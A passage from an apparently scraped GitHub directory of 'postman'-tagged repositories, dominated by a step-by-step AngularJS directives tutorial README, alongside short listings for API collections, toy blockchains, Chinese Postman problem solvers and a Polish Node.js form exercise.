and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
DJMare/express_http_RequestAndResponse_CheckingAgainstArray-
array, check, express, http, query 		A simple express http request and response app using req.query to check against an array and view in Postman. 0 stars 0 watchers 0 forks
BijivemulaPraveenReddy/nodejs-REST_API
array, json, learn, node, nodejs 		Here we are going to learn how to GET,POST,UPDATE,DELETE an json array using POSTMAN 0 stars 0 watchers 0 forks
dzdrazil/list-input
array, component, example, form, list 		An example web component list of inputs (possibly useful for creating postman-esque array input forms) 0 stars 0 watchers 0 forks

previous (4 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
darrensmith/api-collections
collection, collections, previous, system, systems 		Just a set of Paw and Postman API collections for various systems that I've worked with previously 0 stars 0 watchers 0 forks
dhornback10/GrandCircus-NodeLab2-
previous 		Using Postman and Node to connect to previous Angular 4 lab 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks

money (4 listings) (Back to Top)

ngetha/postman
gateway, mobile, money 		a B2C mobile money gateway 4 stars 4 watchers 6 forks
moneyice/postman2excel
excel, money 		0 stars 0 watchers 1 forks
electrumpayments/money-transfer-retailer-test-pack
implementation, implementations, money, payment, retail, script, scripts, server, test, testing 		Test server and Postman scripts for testing Money Transfer Retailer Interface implementations 0 stars 0 watchers 0 forks
cts-jaan/Big-Money-Maker-660
lots, money, test 		This is a test repository created by Postman, make lots of money 0 stars 0 watchers 0 forks

shopping (4 listings) (Back to Top)

artariq/shopping-list
list, node, shopping 		A simple RESTful shopping list in node. Use with Postman 0 stars 0 watchers 0 forks
devlemire/postman-shopping-cart
shopping 		Node 2 - Afternoon 0 stars 0 watchers 0 forks
elle-gover/express_shoppingCart_fullstack
express, shopping 		"Where Preppers Go To Shop" - built using SQL, PostgreSQL, Postman, Angular, and HTML/CSS. 0 stars 0 watchers 0 forks
wwbbrr/postman-node-shopping-list
http, list, node, play, playing, shopping 		playing around with http.createServer and REST 0 stars 0 watchers 0 forks

opens (4 listings) (Back to Top)

fiveout/openstack-postman
opens, openstack 		OpenStack Postman Collections 7 stars 7 watchers 11 forks
frank6866/postman-backup
backup, opens, openstack 		backup postman openstack request 0 stars 0 watchers 0 forks
nsubrahm/openshift-demo-postman
opens, openshift, script, scripts, test 		Postman scripts to test the OpenShift demo 0 stars 0 watchers 0 forks
sanoaoa/SamplePostmanScript
opens, sample, source 		This is for demo purpose with sample opensource code 0 stars 0 watchers 0 forks

cryptocurrency (4 listings) (Back to Top)

onkarpandit/cryptocurrency
blockchain, chai, crypto, cryptocurrency, currency, frontend, implementation, java, local, locally, script 		My own cryptocurrency implementation with blockchain and frontend using java script.Hosted locally on postman. 2 stars 2 watchers 0 forks
HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
SudharshanShanmugasundaram/Cryptocurrency-Icecubes
crypto, cryptocurrency, currency 		Implementation of my very own cryptocurrency Icecubes 0 stars 0 watchers 0 forks
sumeetrohra/cryptocurrency
crypto, cryptocurrency, currency, python, test, tested 		This is a basic cryptocurrency made using python Flask and tested in postman 0 stars 0 watchers 0 forks

facilitate (4 listings) (Back to Top)

iamd3vil/postman
facilitate, facilitates, mail, notification, service, single 		A single service which facilitates Email, Sms and Push notifications. 1 stars 1 watchers 1 forks
XenuxX/Course-API
course, facilitate, facilitates, integration, list, service, services, spec, tool, webservice, webservices 		This project is based on creating a course api which facilitates adding and removing a list of courses along with topics under respective courses. Technologies used are: Spring Boot, Spring RESTful webservices, Apache Derby db and Postman integration tool. 1 stars 1 watchers 0 forks
matt-ball/postman-cli
client, development, facilitate, local, script, scripts 		A client to facilitate local development of scripts for Postman 0 stars 0 watchers 1 forks
Leaf-Agriculture/postman-collections
collection, collections, facilitate, sample, understanding 		This repository contains sample collections to facilitate the understanding and usage of Leaf's API 0 stars 0 watchers 0 forks

calling (4 listings) (Back to Top)

rishu488/Chargebee-Api-s-calling-by-express-js-and-postman
calling, description, express, script 		No description available. 0 stars 0 watchers 0 forks
matthew3993/Hello-World
calling 		This is first TEST repository created from Postman by calling API 0 stars 0 watchers 0 forks
neagkv/Mybatis-Spring-MySQL
api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql 		practice calling using mybatis to read from an api and populate a mysql database, with updates from postman 0 stars 0 watchers 0 forks
yinchanted/gpi-prevalidation-internet-postman
calling, collection, intern, postman collection, sandbox, validation 		The postman collection for calling the gpi Pre-Validation sandbox API over the internet. 0 stars 0 watchers 0 forks

solver (4 listings) (Back to Top)

brooksandrew/postman_problems
problem, solver 		Graph optimization solvers for the Postman Problems 0 stars 0 watchers 21 forks
HoustonWeHaveABug/SweepNYC
solver, tree 		Chinese Postman/New York Street Sweeper Problems solver 0 stars 0 watchers 0 forks
jofe05/solver-FE
problem, solver 		Python simulator to solve postman problem (Fonaments d'Enginyeria.) 0 stars 0 watchers 0 forks
yuf3n9/chinese-postman-webpage
chinese, problem, solver 		A Chinese postman problem solver with web UI 0 stars 0 watchers 0 forks

knowledge (4 listings) (Back to Top)

abankar1/Developers-Community
application, bank, developer, developers, knowledge, seek, unit 		An application to help developers seek help and share knowledge to other developers. Built using React with Redux, Node.js, MongoDb Atlas, JWT, Mongoose and Postman. [In Progress] 0 stars 0 watchers 0 forks
ANVESH96/Developers-Community
application, developer, developers, form, knowledge, platform, progress, unit 		Community platform application for developers to share their knowledge and get help from other developers.Built using React with Redux, Nodejs ,MongoDb Atlas, JWT, Mongoose and POSTMAN. (In progress) 0 stars 0 watchers 0 forks
Nihal-197/MMM
coding, config, data, end to end, file, knowledge, model, test, tested, user, wiki 		A complete end to end Market Mix Model. Furthermore created an API and successfully tested on postman. Ready to deploy model to any data, with the only change in config file( complete API works as a black box for the user requiring no knowledge of coding). Includes the wiki page for more detailed explanation 0 stars 0 watchers 0 forks
zakikasem/Roomy-App
default, development, knowledge, offers, process, service, util 		An iOS Mobile App that offers room renting service , I utilized the knowledge I gained throughout being iOS Developer Trainee at SwiftyCamp in this project by dealing with: Autolayout constraints. Tableviews. Networking using Alamofire, APIs and JSON Parsing. Userdefaults. MVP Architectural Pattern. Worked with Git , Postman and Sketch in development process 0 stars 0 watchers 0 forks

quickly (4 listings) (Back to Top)

postmanlabs/postman-app-support
collection, collections, complex, efficient, quickly, struct, support 		Postman helps you be more efficient while working with APIs. Using Postman, you can construct complex HTTP requests quickly, organize them in collections and share them with your co-workers. 4326 stars 4326 watchers 639 forks
tiagohm/restler
powerful, quickly, rest, restler, test, testing 		Restler is a beautiful and powerful Android app for quickly testing REST API anywhere and anytime. 19 stars 19 watchers 5 forks
akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
postman-app/postman
email, emails, mail, quickly, send 		OTP Application to send emails quickly and easily. 0 stars 0 watchers 0 forks

registration (4 listings) (Back to Top)

esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman-
api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql 		No description available. 1 stars 1 watchers 1 forks
sonali-developer/SmackApplication
